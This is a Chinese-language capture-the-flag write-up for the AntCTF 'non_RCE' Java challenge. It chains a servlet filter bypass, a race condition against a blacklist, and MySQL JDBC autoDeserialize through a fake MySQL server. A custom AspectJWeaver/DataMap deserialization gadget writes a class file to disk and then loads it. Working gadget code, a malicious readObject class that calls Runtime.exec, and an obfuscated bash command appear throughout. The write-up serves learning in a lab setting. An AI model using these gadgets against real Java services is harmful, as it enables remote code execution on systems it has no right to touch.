前言
基本沒怎么打CTF比賽了,最近空閑下來想拓展和活躍下思路,剛好看到AntCTF的一道web題目的writeup,打算跟着學習一波
環境搭建
首先搭好環境
https://github.com/Ant-FG-Lab/non_RCE
idea里面直接使用maven就可以,web啟動在launch里面
這道題目考察的是
filter的配置繞過
條件競爭
mysql反序列化
AspectJWeaver的gadget構造
加載惡意類實現遠程代碼執行
知識點1
繞過filter
首先第一個點繞過LoginFilter,先看看這個filter的內容
大致意思是題目有個密碼,基本爆破不了,訪問admin/路徑的時候會觸發該filter驗證密碼,密碼以password的get參數傳入,password不對直接返回401認證失敗
繞過方法是使用forward,恰巧AntiUrlAttackerFilter有forward操作
方式很簡單將傳入的./或者;替換為空並且將新的url傳入forward即可
這是為什么呢,這里在@WebFilter 裝飾器的參數中有個叫dispatcherTypes的參數,默認存在DispatcherType.REQUEST參數,而他還有DispatcherType.FORWARD、DispatcherType.INCLUDE、DispatcherType.ASYNC、DispatcherType.ERROR這4個參數,如果在設置中設置了dispatcherTypes所對應的參數,則會進行filter過濾,反之沒有設置則不會再被filter進行過濾
因為此次為默認,只會過濾REQUEST請求,不會過濾FORWARD,則照成了繞過
此時使用forward跳轉也會觸發LoginFilter過濾器了
知識點2
jdbc中存在參數autoDeserialize,這個參數官方手冊解釋到
autoDeserialize:自動檢測與反序列化存在BLOB字段中的對象。
但這個參數默認是false,因為可以控制jdbc的url於是我們需要將其設置為true,但是在BlackListChecker中設置了黑名單,中有autoDeserialize和%為黑名單內容
所以帶上autoDeserialize請求會返回400,過濾%
是為了過濾掉編碼
但因為BlackList使用的單例工廠模式,即只有一個實例
再看check(String s)
函數操作,取出實例后將傳入的字符串放入setToBeChecked(String s)
函數中,因為只有一個實例,所以每次請求都會刷新this.toBeChecked
的值,意味着只要在被攔截的poc執行doCheck()
之前將不被攔截的poc放入setToBeChecked(String s)
中重新對this.toBeChecked
賦值,則可繞過
也就是此處存在條件競爭,一個poc發送帶有autoDeserialize字段的請求,另一個不帶,2個爆破一起啟動
知識點3
mysql反序列化,為了理解該點,我先手動添加commons.collections 3組件
那么mysql反序列化即在連接jdbc階段即可觸發,觸發條件autoDeserialize=true
在知識點2中已經解決,而mysql反序列化是因為下面一串代碼照成,在mysql-connector-java
中如果autoDeserialize=true
則會調用到readObject()
這是我們反序列的入口
public Object getObject(int columnIndex) throws SQLException {
……
case BLOB:
byte[] data = getBytes(columnIndex);
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
}
}
}
接下來需要一個參數statementInterceptors
來加載對應的類觸發反序列化的操作,這里網上查一下在5.1版本可以使用下面的類
statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
因此這里的poc進一步變成
jdbc:mysql://127.0.0.1:3306/hhsrc?autoDeserialize=true%26user=root%26password=root%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
接下來有觸發,就是需要被readObject()
的數據如何傳入了,但是在mysql-connector-java
中傳入的columnIndex
變量其實為sql語句執行后的返回內容,但是此處我們可以控制mysql的連接地址,因此可以做到去自定義mysql服務器的內容,讓題目環境連接后觸發,而com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
會觸發下面的sql語句
SHOW SESSION STATUS
此時需要一個mysql服務器將內容返回為反序列的poc,即可完成利用,github有現成的工具
https://github.com/fnmsd/MySQL_Fake_Server
因為我3306的mysql已經啟動,這里就將poc的端口設置為3307
以及對ysoserial.jar路徑進行設置
使用dnslog查看是否存在漏洞
dnslog記錄信息
使用poc
# touch /Users/mi0/Desktop/1.txt
# bash -c {echo,dG91Y2ggL1VzZXJzL21pMC9EZXNrdG9wLzEudHh0}|{base64,-d}|{bash,-i}
觸發,我本機的java是jdk1.8 所以使用CommonsCollections5
組件
發送poc成功添加文件,執行命令
添加成功
這里因為沒有commons.collections類的組件,暫時我手動添加,利用AspectJWeaver組件和DataMap寫在知識點4中
知識點4
反序列化構造,這里使用了AspectJWeaver組件,writeup中提到ysoserial項目中近期也更新了其poc,可以看看怎么寫的
看到他使用了commons.collections組件,題目給的pom.xml中是沒有該組件的,出題人也表示不想讓選手直接使用現成的poc,因此此處需要自己寫gadget的poc
這里構造gadget就需要DataMap文件中的代碼,可以看到DataMap類是調用了Serializable
接口是可以反序列化的
首先對AspectJWeaver進行分析,從ysoserial可知,使用反射調用了StoreableCachingMap
,simpleCache即為實例
找到依賴包中的源碼
StoreableCachingMap
中對put方法進行了重寫
跟進writeToPath方法,可以看到將 valueBytes的內容寫到 key文件中
key文件的路徑在poc中為當前目錄
對其中調用的commons-collection3的理解,其中lazymap的作用,跟蹤一下,發現在get不存在時會觸發put操作
TiedMapEntry在調用getValue方法時會調用成員變量的map的key值
而HashMap在yso中的代碼邏輯會調用對象的getValue()
方法
大致邏輯是
HashMap(不依賴common-collection) -> 傳入TiedMapEntry實例 -> 觸發getValue
TiedMapEntry(依賴common-collection) -> 傳入Lazymap實例和文件名 -> 觸發getValue時,觸發Lazymap的get()操作,參數為文件名
Lazymap(依賴common-collection) -> 傳入AspectJWeaver實例和字符串 -> 觸發get()操作時,觸發傳入AspectJWeaver實例的put()操作,key為文件名,value為字符串
AspectJWeaver(不依賴common-collection) —> 通過Lazymap執行put操作 -> 觸發自身的put操作寫入文件
那么此時就需要從DataMap中替換掉TideMapEntry和Lazymap以及Transformer,ConstantTransformer參數
通讀DataMap可以大致建立替換關系
TiedMapEntry => DataMap$Entry
Lazymap => DataMap
進行修改,將原先Common-collection的組件進行替換,Entry是DataMap的內部內,因此反射聲明的時候需要帶上對應實例
大致邏輯如下
HashMap調用DataMap$Entry
的hasCode()
DataMap$Entry
的hasCode()
觸發this.getValue()
,並且this.key
參數為文件路徑
this.value
是為null的接下來觸發外部的類DataMap
的get()
方法
this.values的值為org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap
強轉后的map,該值在此次會被判定為空,則進入this.vaules.put()
中,也就是StoreableCachingMap
的put()
方法,傳入的key值為文件路徑
,v值為this.wrapperMap.get(文件路徑)
也就是content
變量(即文件內容),運行下poc
成功新加文件
添加aaa.txt文件
知識點5
現在問題來了,整個知識點4的反序列化流程分析完,該漏洞只能做到對服務器上進行寫文件,但題目的環境基本沒有使用jsp之類可直接運行腳本文件。也就是如果存在個上傳點,也無法實現webshell上傳
這里可以利用知識點3中的statementInterceptors
來幫助我們完成rce,也就是第一步上傳能彈shell的類到指定路徑,第二步用statementInterceptors
調用上傳的類實現rce
先打包試試原生態的aaa.txt的poc
使用知識點3的方法,這里方便調試我把知識點2中的blacklist的黑名單過濾關了
在調試時遇到個坑(是我對反序列化還不夠了解導致的),包的路徑必須和目標的路徑相同才能反序列成功,因此對yso中添加的DataMap的位置進行了調整
現在調試成功,可以對目標服務器寫入文件了
接下來是路徑文件,如果使用.
的當前目錄,則會寫到項目的根目錄下
現在的想法是寫到我們能調用的目錄下面去,那么應該在target/classes目錄下面,准備反序列化的poc
我在servlet目錄下生成一個叫做poc的類
package servlet;
import java.io.*;
public class poc implements Serializable {
private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
out.defaultReadObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("touch /Users/mi0/Desktop/1.txt");
}
}
通過以下代碼生成反序列化字符串
poc o = new poc();
FileOutputStream fileOutputStream = new FileOutputStream("/Users/mi0/Desktop/serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
下一步修改mysql反序列工具中的二進制字段,讓返回值為我們生成的序列化文件內容
嘗試一下,成功
本地調試成功,接下來就是把poc類傳到目標服務器即可,將poc.class提取出來並保存為base64
import base64
f = open('poc.class', 'rb')
clazz = f.read()
result = base64.b64encode(clazz)
print(result)
把目錄下的poc.java刪除,重新打包
mysql反序列工具中添加我們的poc
發送,成功添加
修改mysql反序列化為打開生成的poc文件后再次發送,成功執行touch命令
解題流程
在上面5個知識點將題目分解成5個知識點並逐個調試完成后,現將整個題目進行復現
編寫根據題目提供的DataMap類的反序列化gadget
package ysoserial.payloads;
import org.apache.commons.codec.binary.Base64;
import org.python.modules.time.Time;
import checker.DataMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2"})
@Authors({ "sijidou" })
public class Antictf implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
HashMap wrapperMap = new HashMap();
wrapperMap.put(filename,content);
DataMap dataMap = new DataMap(wrapperMap, (Map)simpleCache);
Constructor Entryctor = Reflections.getFirstCtor("checker.DataMap$Entry");
Reflections.setAccessible(Entryctor);
Object entry = Entryctor.newInstance(dataMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception {
args = new String[]{"bbb.txt;YWhpaGloaQ=="};
PayloadRunner.run(Antictf.class, args);
}
}
使用maven打包成jar包,idea能夠快速打包,在右側欄點開maven,點擊compile再點package即可,生成的jar包在target目錄下
編寫惡意類,運行生成serialize.txt
package servlet;
import java.io.*;
import java.io.Serializable;
public class poc implements Serializable {
public poc() {
}
private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
out.defaultReadObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("touch /Users/mi0/Desktop/1.txt");
}
public static void main(String[] args) throws Exception {
poc o = new poc();
FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
}
}
運行后使用python腳本將class的內容轉換為base64
import base64
f = open('poc.class', 'rb')
clazz = f.read()
result = base64.b64encode(clazz)
print(result)
編輯mysql反序列化工具的config.json,並修改生成的yso的jar包的路徑
https://github.com/fnmsd/MySQL_Fake_Server
啟動mysql工具(我這里啟到3307端口的),使用條件競爭執行,執行反序列化寫文件
重復發送1000次
修改mysql反序列化工具代碼,將傳入字符串改為poc的反序列化值
重新啟動mysql反序列化的server.py,再次重復條件競爭
成功添加